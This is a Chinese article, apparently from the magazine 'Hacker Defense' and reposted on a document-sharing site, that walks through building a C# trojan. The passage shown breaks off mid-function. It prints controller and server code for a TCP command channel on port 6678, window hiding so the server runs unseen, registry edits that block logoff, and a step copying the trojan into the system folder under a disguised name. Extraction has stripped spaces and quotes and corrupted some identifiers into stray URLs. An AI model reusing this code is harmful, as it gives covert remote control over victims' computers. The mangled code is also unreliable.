




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
本文格式為Word版,下載可任意編輯——用C實現木馬程序(分析)
用C#實現木馬程序(分析)
文章原始出處《黑客防線》第九期
正文
前一段時間我寫了一個關于用C#木馬的程序(程序見前),道歉沒有寫分析,讓大家憂傷了,現在補上:)。
前言:
我的技術不是很好,假使你是為了學習木馬技術可能沒有什么啟發,這篇文章為了給學習C#的朋友。
木馬的介紹:(參照黑客防線2000-2023精華本中的木馬原理揭秘)
由于本程序是木馬程序,所以在介紹之前有一些木馬構成的基本知識事先說明,由于下面好多地方會提到這些內容。一個完整的木馬系統由硬件部分,軟件部分和具體連接部分組成。這里主要對軟件部分介紹,它主要有控制端程序、木馬程序(后臺服務程序)、木馬配制程序組成。控制端用以遠程控制服務端的程序;木馬程序是潛入服務端內部,獲取其操作權限的程序;木馬配制程序是設置木馬程序的端口號,觸發條件,木馬名稱等,使其在服務端藏的更隱蔽的程序。
使用的技術:
控制端程序發送控制碼控制服務器,服務器后臺運行,修改注冊表達到控制的目的。技術不是很難的,主要表達C#的網絡編程和注冊表的修改。
控制端開發:
控制端向服務器發出一段控制碼,服務端(木馬程序)收到控制碼后,根據控制的要求,完成指定的要求,假使服務器完成工作,返回成功的信息。
控制端的開發:
控制碼的設定你可以自已設定,不需要詳解,主要有以下幾個難點。
1連接請求
使用了.NET類中的http://.77.Sockets.TcpClient類,
TcpClient(stringhostname,intport)
Hostname是要控制的主機名稱,當然你也可以用IP地址。
Port是端口。
//System.EventArgs包含事件數據類的基類
privatevoidbutton7_Click(objectsender,System.EventArgse)
{
//記錄操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText(請求連接+textBox1.Text+);
intport=6678;
try
{
//初始化TcpClient類的新實例并連接到指定主機上的指定端口client=newTcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show(服務器不在線!確定是否輸入主機名稱.);
richTextBox1.AppendText(服務器不在線!確定是否輸入主機名稱.);}
用C#實現木馬程序(分析)
}//privatevoidbuttion
2測試是否與被控制機連接上。程序的流程是發送控制碼看控制端是否有反應,假使有返回則顯示控制成功。
//提供網絡訪問的數據流
//privateNetworkStreamstream;
代碼如下:
privatevoidbutton8_Click(objectsender,System.EventArgse)
{
//紀錄操作
richTextBox1.AppendText(測試連接+);
try
{
stream=client.GetStream();
if(stream.CanWrite)
{
//發送控制碼
stringcontrol=jiance;
byte[]
=System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//啟動接收反回數據的線程
//receive是線程執行的函數,見后面的分析
threadReceive=newThread(newThreadStart(receive));threadReceive.Start();
}
}
catch(Exceptionee)
{
richTextBox1.AppendText(ee.Message+);
MessageBox.Show(ee.Message);
}
}
3控制生效的代碼
privatevoidbutton9_Click(objectsender,System.EventArgse)
{
//這里是確定要發送的控制碼,RadioButton是窗體控件
if(radioButton1.Checked){control=form2.zhucex;}
elseif(radioButton2.Checked){control=form3.zhuces;}
elseif(radioButton3.Checked){control=warring;}
elseif(radioButton4.Checked){control=suggest;}
elseif(radioButton5.Checked){control=form4.mumawe;}by
用C#實現木馬程序(分析)
elseif(radioButton6.Checked){control=drop;}
if(control==000000)
{
MessageBox.Show(你沒有輸入任何控制目標!不發控制信號);
richTextBox1.AppendText(你沒有輸入任何控制目標!不發控制信號);}
elseif(control!=000000)
{
try
{
//記錄操作
richTextBox1.AppendText(control+正在試圖控制,等待回應+);
stream=client.GetStream();
if(stream.CanWrite)
{
byte[]by=System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive=newThread(newThreadStart(receive));threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText(服務器未連接1控制無效!+);MessageBox.Show(服務器未連接1控制無效!+);
}
}//elseif
}
4線程執行的函數
privatevoidreceive()
{
//設置讀取數據的空間
byte[]bb=newbyte[3];
//讀取3個字節,i為實際讀取的字節數
inti=stream.Read(bb,0,3);
//轉換成字符串,假使是中文控制碼則用stringss=//System.Text.Encoding.Unicode.GetString(bb);
stringss=System.Text.Encoding.ASCII.GetString(bb);
//hjc為我設置的服務器的返回碼hjc為連接成功,hkz為控制成功if(ss==hjc)
用C#實現木馬程序(分析)
{
MessageBox.Show(連接成功);
richTextBox1.AppendText(連接成功);
}
if(ss==hkz)
{
richTextBox1.AppendText(control+控制成功+);
MessageBox.Show(control+控制成功+);
}
}
服務端的開發:
要實現木馬服務的程序,主要實現以下幾個功能:后臺的運行(隱蔽技術),控制碼的接收與注冊表的修改,下面對這三方面做介紹:
1.在VC#中,建立一個后臺服務程序是很簡單的,先建立一個新的C#的Windows應用程序,項目名稱自定(不過為了隱蔽可使用與系統相近的名稱),將窗體屬性“ShowInTaskbar〞屬性設為false,讓它運行時不會在任務欄中顯示,并將屬性“Windowstate〞屬性設為Mininized即可,這樣窗體就可以隱蔽運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:
privatevoidInitializeComponent()
{
//
//Form1
//
//窗體顯示的起點和大小
this.AutoScaleBaseSize=newSystem.Drawing.Size(6,14);
this.ClientSize=newSystem.Drawing.Size(368,357);
//窗體名稱
http://.77=Form1;
//設置屬性讓它后臺運行
this.ShowInTaskbar=false;
this.Text=Form1;
this.WindowState=System.Windows.Forms.FormWindowState.Minimized;}
2.控制代碼的接收,必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼注解如下:
publicForm1()//窗體的構造函數
{
//
//Windows窗體設計器支持所必需的
//
InitializeComponent();
//
//TODO:在InitializeComponent調用后添加任何構造函數代碼
用C#實現木馬程序(分析)
//參與你的偵聽代碼
//端口你可以自已設定,我使用了固定的端口
intport=6678;
//http://.77.Sockets.TcpListener是用來在Tcp網絡中偵聽客戶端的listener=newTcpListener(port);
//啟動偵聽
listener.Start();
//增加接收控制碼的線程,假使要中止線程可以用Thread.abort()//reControlCode是線程啟動執行的函數,此函數根據接收的控制
//控制碼選取適合的注冊表修改函數
Threadthread=newThread(newThreadStart(reControlCode));thread.Start();
}
reControlCode函數如下,完整代碼見程序
privatevoidreControlCode()
{
//設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求
socket=listener.AcceptSocket();
//假使連接成功執行
while(socket.Connected)
{
//接收控制碼
byte[]by=newbyte[6];
inti=socket.Receive(by,by.Length,0);
stringss=System.Text.Encoding.ASCII.GetString(by);
//根據控制碼執行不同的功能
//修改注冊表參與編碼
switch(ss)
{
casejiance://測試連接,返回測試信息
stringstr=hjc;
byte[]bytee=System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);
break;
casezx1000:
//修改注冊表函數,自已定義,見下面分析
UnLogOff();
//返回控制消息
retMessage();
break;
casezx0100:
用C#實現木馬程序(分析)
//修改注冊表函數
UnClose();
//返回控制消息
retMessage();
break;
//重復的case功能與前面一樣,略掉
default:
break;
}//case
}//while
}//privatevoidreControlCode
3.C#中實現注冊表的修改,使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統注冊表進行操作的類。下面就可以看到它的用法。這里我做了一個修改注冊表的子程序:使計算機不能注銷。在這之前先了解注冊表,在子鍵SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer下面設鍵值NoLogOff為1即可使計算機無法注銷。在下面的函數中用C#實現對注冊表的修改:
privatevoidUnLogOff()
{
//得到主機的注冊表的頂級節點
Microsoft.Win32.RegistryKeyrLocal=Registry.LocalMachine;
//設置一個注冊表子鍵的變量
RegistryKeykey1;
try
{
//函數RegistryKey.OpenSubkey(stringregistrykey,boolcanwrite)檢索指定的子鍵
//registrykey是用戶指定的鍵值,canwrite為true則可修改,默認為fasle不可改
key1=
rLocal.OpenSubKey(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer,true);
//設置子鍵的鍵名,和值
key1.SetValue(NoLogOff,1);
//關閉開啟的子鍵
key1.Close();
//警告字符串設定
mystr=mystr+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer鍵值Nologoff被修改!請將它置為0!;
}
catch{}
//假使不存在自已建立
if(key1==null)
用C#實現木馬程序(分析)
{
try
{
//使用RegistryKey.CreateSubKey(stringmystring)函數來建立你需要的子鍵
RegistryKeykey2=rLocal.CreateSubKey(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer);
key2.SetValue(NoLogOff,1);
key2.Close();
mystr=mystr+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer鍵值Nologoff被修改!請將它置為0!;
}
catch{}
}
}
4.在木馬程序中還有一個重要的功能就是自我的復制和轉移。木馬引入被控制的主機時必需自動將木馬隱蔽在System,System32的目錄下以防被發現。轉移的代碼分析如下,主要實現的功能是將D盤下的木馬程序轉移到C:\winnnt\system\msdoss.exe,同時換名稱。使用的.NET命名空間System.IO,它的作用是允許對數據流和文件進行同步和異步讀寫。這里我們使用了System.IO.File類。
privatevoidmoveCC1()
{
try
{
//函數File.Move(stringsourceFileName,
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
評論
0/150
提交評論